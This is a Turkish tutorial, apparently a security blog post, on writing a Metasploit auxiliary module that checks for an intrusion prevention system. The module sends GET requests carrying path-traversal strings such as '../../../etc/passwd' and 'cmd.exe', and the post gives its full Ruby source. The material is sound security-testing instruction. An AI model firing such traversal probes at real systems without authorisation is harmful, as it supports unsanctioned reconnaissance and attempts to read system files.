    İstekleri gönderildiğinde geriye 404,301,400 gibi HTTP hata mesajları dönüyorsa muhtemelen arada saldırıyı engelleyen bir sistem yoktur (veya IPS kurallarında aktif değildir), eğer RST cevabı dönüyor ya da hiç cevap dönmüyorsa arada bir saldırı engelleme sistemi vardır diyebiliriz.

    Zorunlu olmamakla birlikte Metasploitin özel modülleri için ~/.msf4/modules/ dizininin kullanımı tavsiye edilir. Örnek modülün adı ips_check olması ve auxiliary/scanner/misc kategorisine ait olması için msf4/documentation/samples/modules/auxiliary/sample.rb taslak dosyasını ~/.msf4/modules/auxiliary/scanner/misc/ips_check.rb şeklinde kopyalayıp modülü kodlama kısmına geçebiliriz.

    Yardımcı modül olayı basitleştirmek adına üç bölümde incelenebilir. İlk bölümde

    require 'msf/core'

    class Metasploit4 < Msf::Auxiliary
        include Msf::Exploit::Remote::HttpClient

    İlk satırda MSF CORE kütüphanesinin kullanılacağı belirtilip daha sonra sınıfın(Metasploit’te her modül bir Ruby sınıfıdır.) hangi sınıftan türeyeceği gösterilmiştir. Üçüncü satırda da HTTP isteklerinde kullanılacak metodları içeren mixin belirtilmiştir.

    İkinci bölümde sınıfın yapıcı metodu incelenebilir. Bu metod modülle ilgili genel bilgilerin belirlendiği, ayarların varsayılan değerlerinin atandığı veya yeni ayarların eklendiği bölümdür.
    def initialize
            super(
                'Name'        => 'IPS Check',
                'Version'     => '$Revision: 1 $',
                'Description'    => 'IPS check by sending malicious GET requests',
                'Author'      => 'Onur Alanbel <onur.alanbel@bga.com.tr>',
                'License'     => MSF_LICENSE,
            )
            register_options(
                [
                    Opt::RPORT(80)
                ], self.class
            )
        end
    İlk kısımda super metodu ile üst sınıfa modülle ilgili genel bilgiler bildiriliyor, ikinci kısımda ise RPORT seçeneğine varsayılan değer olarak 80 atanıyor. Buradaki register_options a gönderilen listeye
    OptString.new('SeçenekAdı’', [ true,  "Seçenek Tanımı", 'Varsayılan değeri’']) satırı eklenerek string tipinde yeni bir seçenek oluşturmak mümkün. Aynı şekilde tamsayı tipinde bir parametre için OptInt.new veya mantıksal bir parametre için OptBool.new kullanılabilir.
    Üçüncü bölüm ise run komutu çalıştırıldığında esas işi yapacak kısımdır.

    def run
            urllist=[
                '../../../etc/passwd',
                'etc/passwd',
                '../../../cmd.exe',
                'cmd.exe']

            urllist.each do |url|
                begin              
                    res = send_request_raw(
                    {
                            'method'=> 'GET',
                            'uri'=> url
                    })

                    if res
                        print_good("No IPS! for #{url}")
                    else
                        print_status("IPS(no response) detected for #{url}")
                    end
                rescue Errno::ECONNRESET
                    print_status("IPS(rst) detected for #{url}")
                rescue Exception
                    print_error("Connection failed.")
             end
            end
        end
    Bu bölümde önce gönderilecek isteklerin listesi oluşturuluyor. (Bu isteklerin seçeneklerden alınacak bir dosyadan okunması daha kullanışlı olur ancak konudan sapmamak adına bu şekilde bırakılmıştır.) Daha sonra bu listedeki her bir eleman için send_raw_request metodu ile http isteği gönderilip eğer bir http cevabı dönerse (if res kısmında ) o istek için engelleme olmadığını ekrana iyi haber olarak yazılıyor. Eğer hiçbir cevap dönmezse (else kısmında) bilgi olarak bir engelleme olduğu bildiriliyor.
    Eğer bağlantı sırasında beklenmeyen bir RST gelirse o da istisna olarak yakalanıp (rescue Errno::ECONNRESET kısmında) ekrana yazılıyor. Eğer bilinmeyen(ya da ilgili olmayan) bir şekilde bağlantı koparsa da (rescue Exception kısmında) bağlantı hatası olarak ekrana yazılıyor.

    Modülleri Metasploit’e yüklemek için eğer konsol daha önce açıldıysa load veya loadpath komutları ya da açılışta yüklemek için msfconsole komutu -m parametresiyle (msfconsole -m ~/.msf4/modules) kullanılabilir. Daha önceden yüklenmiş bir modül üzerinde yapılan değişikliğin geçerli olması için reload komutu ile tekrar yüklenebilir. Modül yazarken reload ve run komutlarının birleşimi olan rerun komutu da kestirme olması açısından kullanılabilir. Modülün üç örnek durum için çıktısı şu şekildedir.

    Modül yazmaya başlamadan önce diğer modül yazarlarının sık yaptığı hataları görmek adına https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Bad-Coding-Practice adresine göz atılmasında fayda var.

    ips_check.rb
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    #   http://metasploit.com/
    ##

    require 'msf/core'

    class Metasploit4 < Msf::Auxiliary
        include Msf::Exploit::Remote::HttpClient

        def initialize
            super(
                'Name'        => 'IPS Check',
                'Version'     => '$Revision: 1 $',
                'Description' => 'IPS check by malicious GET requests',
                'Author'      => 'Onur Alanbel <onur.alanbel@bga.com.tr>',
                'License'     => MSF_LICENSE,
            )
            register_options(
                [
                    Opt::RPORT(80)
                ], self.class
            )
        end

        def run
            urllist=[
                '../../../etc/passwd',
                'etc/passwd',
                '../../../cmd.exe',
                'cmd.exe']

            urllist.each do |url|
                begin               
                    res = send_request_raw(
                    {
                            'method'=> 'GET',
                            'uri'=> url
                    })

                    if res
                        print_good("No IPS! for #{url}")
                    else
                        print_status("IPS(no response) detected for #{url}")
                    end
                rescue Errno::ECONNRESET
                    print_status("IPS(rst) detected for #{url}")
                rescue Exception
                    print_error("Connection failed.")
                end
            end
        end
    end

    Onur ALANBEL (onur.alanbel@bga.com.tr)

    Viewing all 331 articles
    Browse latest View live